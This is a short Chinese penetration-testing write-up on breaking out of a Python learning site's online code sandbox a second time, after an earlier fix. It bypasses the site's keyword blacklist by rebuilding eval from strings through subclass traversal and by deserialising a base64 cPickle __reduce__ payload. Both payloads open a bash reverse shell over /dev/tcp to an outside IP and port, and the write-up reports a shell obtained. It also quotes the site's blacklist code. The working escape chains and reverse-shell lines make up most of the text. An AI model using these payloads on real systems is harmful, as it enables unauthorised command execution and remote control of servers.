Python在线编程导致命令执行(二)
[Penetration Testing]
之前的案例 《某Python学习网站在线编码导致命令执行》 漏洞修复后再次绕过的两种方法。
测试仍以黑名单形式过滤关键字。且只过滤用户输入,并未影响到运行时。
方案
- 复活eval/exec函数
- 通过eval执行简单混淆过的payload躲避黑名单
- 通过os.popen拿到shell
方法1:复活eval
poc
exp
a = 'e' + 'val'
p = 'po' + 'pen'
payload = '__import__("os").' + p + '("/bin/bash -i >& /dev/tcp/119.29.235.20/12345 0>&1")'
for c in [].__class__.__base__.__subclasses__():
if c.__name__ == 'catch_warnings':
for b in c.__init__.func_globals.values():
if b.__class__ == {}.__class__:
if a in b.keys():
b[a](payload)
方法2:序列化替代eval
生成payload
import cPickle
import base64
class MMM(object):
def __reduce__(self):
import os
s = "/bin/bash -i >& /dev/tcp/119.29.235.20/12345 0>&1"
return (os.popen, (s,))
print base64.b64encode(cPickle.dumps(MMM()))
服务端执行:
import cPickle, base64
s = 'Y3Bvc2l4CnBvcGVuCnAxCihTJy9iaW4vYmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuMjkuMjM1LjIwLzEyMzQ1IDA+JjEnCnAyCnRScDMKLg=='
cPickle.loads(base64.b64decode(s))
成功getshell
源码
进入系统之后,看到源码中的过滤规则如下:
elif forbidden_command(self.data):
self.return_response("!!!!!!This command is forbidden.")
def forbidden_command(data):
forbidden_keywords = ["input", "system", "popen","subprocess", "commands", "rmdir", "open", "while", "help()", "serve", "turtle", "matplotlib", "socket", "eval", "exec"]
for keyword in forbidden_keywords:
if keyword in data:
return True
return False